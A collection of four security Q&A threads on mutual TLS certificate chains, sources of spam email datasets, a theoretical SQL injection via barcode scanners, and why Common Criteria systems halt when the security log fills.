Trust in mutual TLS on chain of certificates in multi-intermediate-CA configuration Could you please help me to understand whether a client's certificate will be accepted by a server as valid during mutual TLS challenge based on diagram below? The client side knows nothing about server's Intermediate CA B, and vice versa a server side knows nothing about client's Intermediate CA A. Will validation going to happen on Level 1, if Level 2 missing information about Intermediate CAs?

When the client connects via SSL/TLS, the server will present its certificate chain, i.e. it will present its own certificate but can also offer the certificate for CA B.

If the server only presents its own certificate, then the client cannot validate the certificate and must close the connection or stop to ask the user.

If the server presents both certificates (and the client trusts the root CA, and certificates are valid for the usages and the server name) the client will accept the certificate as trusted.

In the case of PEM encoded certificates, the certificate chain is created by concatenating the certificates:

cat CA_B.pem >>myserver.pem

With pkcs12, its slightly more involved.


Where can I find a feed of actual spam emails? I am looking for a feed of e-mail spam messages. I searched for one but found nothing that I can use. Does anyone know a site or service that offers a feed of actual spam messgaes that are currently used by spammers?

These are hard to get.  Generally, you need to create and curate your own spam trap (hard!) or else get data from some existing spam trap.  There are resources for this.  See the following highly related questions:

 Brainstorm: How to quickly create a honeypot for mass spam?
 Publicly Available Spam Filter Training Set
 Spear phishing data set
 Databases with spam, phishing email examples (an extended version of this answer)


SQL Injection in a Non-Web Application Does someone know of a good example of a SQL Injection vulnerability that isn't in a web application? What is the user input for this attack? I am looking for a real vulnerability, not speculation. The following picture is an example of a speculated attack against license plate reading cameras:

And of course there is good old bobby tables.  Which is funny but again its not realistic.  One of the most flagrant violation is that the vast majority sql injection exploits can't use query stacking.

I worked with an international logistics company that had an SQL vulnerability in the 5250 emulator on a handheld wireless barcode scanner.

Theoretically you could craft a barcode that would amend the database and alter stock and inventory levels etc...

Theoretically:-)


Why would it be preferable for a system to shut down when the security log is full? When running in a configuration that supports Common Criteria, Windows must be configured to  shut down when the security event log is full. Why is this a preferable option?

Simply put, the Integrity of the system is more valuable than its Availability.

This rule ensures that the system is never running without logging, never running in an un-accountable state.  It is preferable at certain high levels of security that the system stop running than the system run without provable security in place.

The alternative would allow someone to generate spurious security event log messages, then when the log was full, perform an actual attack and breach the system somehow, without it being logged because the log was full.